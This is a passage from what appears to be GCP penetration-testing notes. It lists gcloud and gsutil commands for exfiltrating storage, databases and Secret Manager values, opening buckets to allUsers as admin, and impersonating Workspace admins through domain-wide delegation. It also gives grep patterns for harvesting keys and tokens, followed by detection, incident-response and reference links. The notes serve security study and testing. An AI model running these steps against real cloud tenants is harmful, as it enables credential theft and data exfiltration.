gcloud compute --project=<projectName> project-info add-metadata --metadata-from-file ssh-key
```

This is also possible from web console.

### **Adding SSH keys (linux hosts)**

- Add SSH key to metadata
  - Create a new compute instance with public IP
- OR
  - Edit existing compute instance with public IP

## **Exfiltration**

### **GCP Hound - Exfiltration module**

```
./gcpHound --bucketList storage-project123
./gcpHound --exfilbucket storage-project123
```

## Exfiltrating databases

- Cloud SQL
  - Cloud Spanner
  - Cloud BigTable
  - Cloud Firestore
  - Firebase
1. Access the database
  2. Exfiltration data from the database access

OR

1. Access cloud storage
2. Identify database backup and dump it

```
# Cloud SQL
$ gcloud sql instances list
$ gcloud sql databases list --instance [INSTANCE]

# Cloud Spanner
$ gcloud spanner instances list
$ gcloud spanner databases list --instance [INSTANCE]

# Cloud Bigtable
$ gcloud bigtable instances list
```

## Exfiltrate Compute disk by sharing it

- <https://github.com/DataDog/stratus-red-team/blob/main/docs/attack-techniques/GCP/gcp.exfiltration.share-compute-disk.md>

**Cloud storage exfiltration** 2 type of IAM policy in cloud storage; - Bucket Policy (Uniform bucket-level access) - Applied on bucket level and all objects within the bucket - ACL - Applied on individual object level

Exfiltration through bucket policy change.

Requires: - **Roles:** roles/storage.admin - **Permissions:** storage.buckets.setIamPolicy

Get information about objects in a bucket

```
curl https://storage.googleapis.com/BUCKETNAME
```

Get information about IAM permission attached to the bucket

```
https://www.googleapis.com/storage/v1/b/[BUCKET_NAME]/iam/testPermissions?permissions=[storage.buckets.create&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update]
```

list all roles attached to this bucket.

```
gsutil iam get gs://[BUCKET NAME]
```

Listing IAM policy of specific storage bucket (require: storage.buckets.getIamPolicy)

```
gcloud storage buckets get-iam-policy gs://production-storage123
```

Setting specific IAM policy on storage bucket (require: storage.buckets.setIamPolicy)

```
gcloud storage buckets add-iam-policy-binding gs://production-storage123 --member='serviceAccount:'
```

Add an admin role for allUsers. [Anonymous - Rest API].

```
gsutil iam ch allUsers:admin gs://[BUCKET NAME]
```

**Cloud Key Management Service (KMS)** Repository for storing cryptographic keys, such as those used to encrypt and decrypt sensitive files.

```
# List the global keyrings available
```

```
$ gcloud kms keyrings list --location global
```

```
# List the keys inside a keyring
```

```
$ gcloud kms keys list --keyring [KEYRING NAME] --location global
```

```
# Decrypt a file using one of your keys
```

```
$ gcloud kms decrypt --ciphertext-file=[INFILE] --plaintext-file=[OUTFILE] --key [KEY] --keyring [KEYRING NAME]
```

**Secret manager exfiltration** Secret manager is the GCP service used to store keys, passwords, or any kind of credentials.

Permissions are defined on secret manager: - Project Wide - Individual secret Wide

Requires: - **Roles:** roles/owner, roles/secretmanager.admin, roles/secretmanager.secretAccessor  
- **Permissions:** secretmanager.versions.access

List all the secrets in a project

```
gcloud secrets list
```

Get IAM policy on individual secret level.

```
gcloud secrets get-iam-policy [my-secret]
```

List of all versions for a secret.

```
gcloud secrets versions list [SecretName]
```

Get the cleartext value of a secret.

```
gcloud secrets versions access --secret serviceaccount-key-json [1]
```

**Domain Wide Delegation** Domain Wide Delegation allow some service account to access Google Workspace data such as Gmail, Drive and others. Initially design to allows apps to access users' data across your organization's Google Workspace environment.

- [https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp\\_misc/-/blob/master/gcp\\_delegation.py?ref\\_type=heads](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_misc/-/blob/master/gcp_delegation.py?ref_type=heads)

```
./gcp_delegation.py --keyfile ./credentials.json --impersonate steve.admin@target-org.com --
```

You can also use this Python script to validate access, list user directory and create new administrative account

```
# Validate access only
```

```
$ ./gcp_delegation.py --keyfile ./credentials.json --impersonate steve.admin@target-org.com
```

```
# List the directory
```

```
$ ./gcp_delegation.py --keyfile ./credentials.json --impersonate steve.admin@target-org.com
```

```
# Create a new admin account
```

```
$ ./gcp_delegation.py --keyfile ./credentials.json --impersonate steve.admin@target-org.com
```

### Accessing serial console logs

```
gcloud compute instances get-serial-port-output instance-name --port port --start start --z
```

### Accessing custom images

```
gcloud compute images list --no-standard-images
```

Export the virtual disks from qcow2 image

```
gcloud compute images export --image test-image --export-format qcow2 --destination-uri {bu
```

**Custom instance templates** Instance template defines instance properties to deploy similar configurations, it can potentially contain sensitive informations such as metadata containing startup script for example.

List the available templates

```
$ gcloud compute instance-templates list
```

Get the details of a specific template

```
$ gcloud compute instance-templates describe [TEMPLATE NAME]
```

### Reviewing stackdriver logging

```
$ gcloud logging logs list
```

NAME

projects/REDACTED/logs/OSConfigAgent



```
projects/REDACTED/logs/cloudaudit.googleapis.com%2Factivity
projects/REDACTED/logs/cloudaudit.googleapis.com%2Fsystem_event
projects/REDACTED/logs/bash.history
projects/REDACTED/logs/compute.googleapis.com
projects/REDACTED/logs/compute.googleapis.com%2Factivity_log
```

**Cloud Functions** Cloud functions can store environment variable to be used by the code and stored secrets.

```
$ gcloud functions list
$ gcloud functions describe [FUNCTION NAME]
```

#The output log of previous runs may be useful as well, which you get review with  
\$ gcloud functions logs read [FUNCTION NAME] --limit [NUMBER]

**App Engine secrets** Some application will rely on secrets that are accessed at run-time via environment variables. These variables are stored in an app.yaml file which can be accessed.

```
# First, get a list of all available versions of all services
$ gcloud app versions list
```

```
# Then, get the specific details on a given app
$ gcloud app describe [APP]
```

### Reviewing cloud run configurations

```
# First get a list of services across the available platforms
$ gcloud run services list --platform=managed
$ gcloud run services list --platform=gke
```

```
# To learn more, export as JSON and investigate what the services do
$ gcloud run services list --platform=managed --format=json
$ gcloud run services list --platform=gke --format=json
```

```
# Attempt to trigger a job unauthenticated
$ curl [URL]
```

```
# Attempt to trigger a job with your current gcloud authorization
$ curl -H "Authorization: Bearer $(gcloud auth print-identity-token)" [URL]
```

### AI Platform configurations

```
$ gcloud ai-platform models list --format=json
$ gcloud ai-platform jobs list --format=json
```

## GCP Cloud Pub/Sub

```
# Get a list of topics in the project
$ gcloud pubsub topics list
```

```
# Get a list of subscriptions across all topics
$ gcloud pubsub subscriptions list --format=json
```

The pull command will allow us to mimic a valid application, asking for messages that have not yet been acknowledged as delivered.

```
$ gcloud pubsub subscriptions pull [SUBSCRIPTION NAME]
```

## Searching the local system for secrets

```
TARGET_DIR="/path/to/whatever"
```

```
# Service account keys
grep -Pzr "(?s){[^\}]*?service_account[^\}]*?private_key.*?" \
    "$TARGET_DIR"
```

```
# Legacy GCP creds
grep -Pzr "(?s){[^\}]*?client_id[^\}]*?client_secret.*?" \
    "$TARGET_DIR"
```

```
# Google API keys
grep -Pr "AIza[a-zA-Z0-9\\-_]{35}" \
    "$TARGET_DIR"
```

```
# Google OAuth tokens
grep -Pr "ya29\\.[a-zA-Z0-9_-]{100,200}" \
    "$TARGET_DIR"
```

```
# Generic SSH keys
grep -Pzr "(?s)-----BEGIN[ A-Z]*?PRIVATE KEY[a-zA-Z0-9/\\+=\\n-]*?END[ A-Z]*?PRIVATE KEY-----" \
    "$TARGET_DIR"
```

```
# Signed storage URLs
grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
    "$TARGET_DIR"
```

```
# Signed policy documents in HTML
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
    "$TARGET_DIR"
```

## GCP - Blue Teaming / Detection

### Visibility

**Asset Inventory** Asset inventory provide a full visibility over all the GCP resources accross all the zone in used.

### Policy Analyzer

- <https://cloud.google.com/policy-intelligence/docs/analyze-iam-policies>

Policy Analyzer permits you to queries IAM policies across your organization, folders or projects. This provides you with access visibility, and support access administration, audit and compliance related tasks.

→ Policy analyze use query template against specific query scope.

### Security Controls

**Organization policies** The Organization Policy allows admin to provide centralized and programmatic control over organization's cloud resources.

- <https://console.cloud.google.com/iam-admin/analyzer>
- Configure constraints across entire GCP resource hierarchy
- Permits to administrator to set restriction on specific resources
- Organization policy follow inheritance

**2 types** of constraints: 1. Pre-build constraints 2. Custom constraints

### Logging

**Audit Logs** Google Cloud services write audit logs that record administrative activities and accesses within your Google Cloud resources.

- Admin Activity: 400 days of free retention - Data Access: 7 days of retention for free, 30 days of retention for \$

→ Only for GCP Services which means no log applications running on GCE.

- <https://console.cloud.google.com/iam-admin/audit>

Audit logs answer the following: 1. Who {principalEmail} 2. Did what {methodName} 3. Where {resource} 4. When {timestamp}

2 main type of log: 1. Admin Activity Audit logs 2. Data Access Audit logs

**Log Explorer** Log Explorer in Google Cloud Platform is a powerful tool that allows you to quickly and easily search through your log data. You can use Log Explorer to find out what is happening on your system, track down errors, and even diagnose performance issues.

- <https://console.cloud.google.com/logs/query>

## Monitoring

**Security Command Centre** -> <https://console.cloud.google.com/security/command-center/overview>

- Gain centralized visibility and control.
- Discover misconfigurations and vulnerabilities.
- Detect threats targeting your Google Cloud assets

## GCP - Incident Response

**GCP Incident Response Training** Full 5 episodes series from Daniel Rodriguez on Incident Response in Google Cloud.

-> <https://dvirus.training/2023/07/02/incident-response-in-gcp/>

- Episode 1
  - <https://github.com/D-Virus/Archive/blob/main/slides/November2022/Google%20Cloud%20Platform%20Incident%20Response.pdf>
- Episode 2
  - <https://github.com/D-Virus/Archive/blob/main/slides/December2022/Google%20Cloud%20Platform%20Incident%20Response%2001.pdf>
- Episode 3
- Episode 4
- Episode 5

## GCP Incident Response Blog Post (0xffccdd)

- [https://medium.com/@cloud\\_tips/gcp-incident-response-59e32924b496](https://medium.com/@cloud_tips/gcp-incident-response-59e32924b496)

## Incident Response in GCP - Forensics Artifacts

- <https://blog.sygnia.co/incident-response-in-google-cloud-forensic-artifacts>

**GCP tools Cloud Security Command Center:** This is a centralized security management platform that provides visibility into an organization's Google Cloud environment, including real-time notifications of security threats and vulnerabilities.

**Cloud Identity and Access Management:** This service provides fine-grained control over who has access to what resources within an organization's Google Cloud environment. It can be used to quickly revoke access to compromised accounts or limit access to sensitive resources.

**Cloud Audit Logs:** This service provides a record of activity within an organization's Google Cloud environment, including API calls, system events, and

policy changes. This can be useful for investigating security incidents and identifying the root cause of an issue.

**Cloud Data Loss Prevention API:** This service helps organizations detect and classify sensitive data within their Google Cloud environment, including personally identifiable information (PII) and intellectual property. It can be used to prevent data leaks and protect against data exfiltration.

**Cloud Security Scanner:** This service helps organizations identify vulnerabilities in their Google Cloud environment, including misconfigurations, missing patches, and insecure libraries. It can be used to proactively identify and address potential security issues.

### **GCP - Build Collaborative Incident Management Process**

- <https://cloud.google.com/architecture/framework/reliability/build-incident-management-process>

### **Expel - Incident Report - Spotting an Attacker in GCP**

- <https://expel.com/blog/incident-report-spotting-an-attacker-in-gcp/>

**Mandiant - Security Incident Response and Public Cloud** This blog post contains very great information for general security incident response in public cloud and relevant resources regarding incident response in GCP and AWS. - <https://cloud.withgoogle.com/cloudsecurity/podcast/ep103-security-incident-response-and-public-cloud-exploring-with-mandiant/>

### **GCP - IR notes from silv3rhorn**

- <https://gcp-ir-notes.silv3rhorn.dev/>
- <https://github.com/Silv3rHorn/GCP-IR-Notes>

### **SANS Enterprise Cloud Forensics and IR training (FOR509)**

- <https://www.sans.org/cyber-security-courses/enterprise-cloud-forensics-incident-response/>

### **Incident Response & Detection in GCP**

- <https://www.csnp.org/post/incident-detection-and-response-in-google-cloud-platform-gcp>

### **GCP - Misc**

GC2 (Google Command and Control) permits to an attacker to execute commands on target machine using **Google Sheet** and exfiltrates data using **Google Drive** - <https://github.com/looCiprian/GC2-sheet> -

## **GCP - Resources**

### **GCP - Security - HackTricks**

- <https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security>

### **Github repo - Awesome GCP Pentesting**

- <https://github.com/Littlehack3r/awesome-gcp-pentesting>

### **Attacking and Defending GCP Metadata API**

- <https://github.com/dxa4481/AttackingAndDefendingTheGCPMetadataAPI>

### **SAINTCON 2019 - Bryce Kunz - May the Cloud be with You: Red Teaming GCP**

- <https://www.youtube.com/watch?v=gTFPn-Z7Cc4>

### **DEFCON 30 Cloud Village - Weather Proofing GCP Defaults**

- <https://www.youtube.com/watch?v=7t29F8nIAt8>

### **GCP - Pentestbook**

- <https://pentestbook.six2dez.com/enumeration/cloud/gcp>

### **Permission Mining in GCP - Colin Estep**

- <https://www.youtube.com/watch?v=QIXZ0DS9arc>

### **Compromise any GCP Org Via Cloud API Lateral Movement and Privilege Escalation**

- <https://www.youtube.com/watch?v=Ml09R38jpok>

### **GCP - Penetration Testing Notes**

- <https://0xd4y.com/2022/10/01/GCP-Penetration-Testing-Notes/>

### **Privilege escalation and post-exploitation in GCP**

- <https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/>

### **Plundering GCP - Escalating Privileges and Stealing Secret in GCP**

- [https://www.youtube.com/watch?v=OJ\\_wUcVrGx0](https://www.youtube.com/watch?v=OJ_wUcVrGx0)

### **Defcon - Lateral movement and privilege escalation in GCP**

- <https://www.youtube.com/watch?v=Z-JFVJZ-HDA>

### **Hacking GCP - Richard Knowell**

- <https://www.amazon.ca/Advanced-Penetration-Testing-Hacking-Platform/dp/B08P1H4KLZ>

### **Cloud Security - Red Team Management**

- <https://github.com/CyberSecurityUP/Red-Team-Management/tree/main/Cloud%20Security>

### **GCP Looting**

- <https://book.hacktricks.xyz/cloud-security/gcp-security/gcp-looting>

### **From Zero To Hero**

- <https://medium.com/cysec/from-zero-to-hero-e49bf9ce0e2b>

### **Security Bugs in Google Cloud Platform (LiveOverflow)**

- <https://www.youtube.com/watch?v=J2icGMocQds>
- <https://www.youtube.com/watch?v=g-JgA1hvJzA>

### **Introducing PurplePanda: AUTOMATED Privilege Escalation IN THE CLOUD**

- <https://www.youtube.com/watch?v=zl5NdvoWHX4>

### **DEF CON 29 - Matthew Bryant - Hacking G Suite**

- <https://www.youtube.com/watch?v=6YimrCDK19A>

### **Red Team engagement in GCP**

- <https://www.youtube.com/watch?v=AwXswDg-rKc>

### **Podcast cloud security - Red Team in Google Cloud**

- <https://www.youtube.com/watch?v=E1Yz4ofKEz0>

### **GCP Pentest Notes**

- <https://infosecwriteups.com/pentest-notes-google-cloud-edition-2e138bb0f504>
- <https://medium.com/@tomaszwybraniec/google-cloud-platform-pentest-notes-service-accounts-b960dc59d93a>

### **GCP - OAuth token hijacking in GCP**

- <https://www.netskope.com/fr/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1>
- <https://www.netskope.com/fr/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2>

### **OAuth authorization/device flow**

- <https://www.netskope.com/fr/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1>

### **GCP Primitives Roles, An Indictment : Kat Traxler**

- [https://www.youtube.com/watch?v=YGT\\_AmCA-eA](https://www.youtube.com/watch?v=YGT_AmCA-eA)

### **Exploiting misconfigured GCP Service Accounts from Github actions**

- <https://www.revblock.dev/exploiting-misconfigured-google-cloud-service-accounts-from-github-actions/>

### **GCP Application default credentials**

- <https://medium.com/datamindedbe/application-default-credentials-477879e31cb5>

### **GCP - Secure GCP Reference**

- <https://github.com/doitintl/secure-gcp-reference>

### **Dylan Ayrey Github Repo - Attacking and Defending the GCP Metadata API**

- <https://github.com/dxa4481/AttackingAndDefendingTheGCPMetadataAPI>

### **Praetorin - GCP Service Account based Privilege Escalation Paths**

- <https://www.praetorian.com/blog/google-cloud-platform-gcp-service-account-based-privilege-escalation-paths/>

### **GCP - Threat investigation**

- <https://cloud.google.com/security-command-center/docs/how-to-investigate-threats>



### **Training - Vulnerable Cloud environments**

- Cloudgoat - <https://github.com/RhinoSecurityLabs/cloudgoat>
- SadCloud - <https://github.com/nccgroup/sadcloud>
- Flaws Cloud - <http://flaws.cloud>
- Thunder CTF - <http://thunder-ctf.cloud>
- GCP Goat - <https://github.com/ine-labs/GCPGoat>
- GCP Privesc Scripts - [https://github.com/carlospolop/gcp\\_privesc\\_scripts](https://github.com/carlospolop/gcp_privesc_scripts)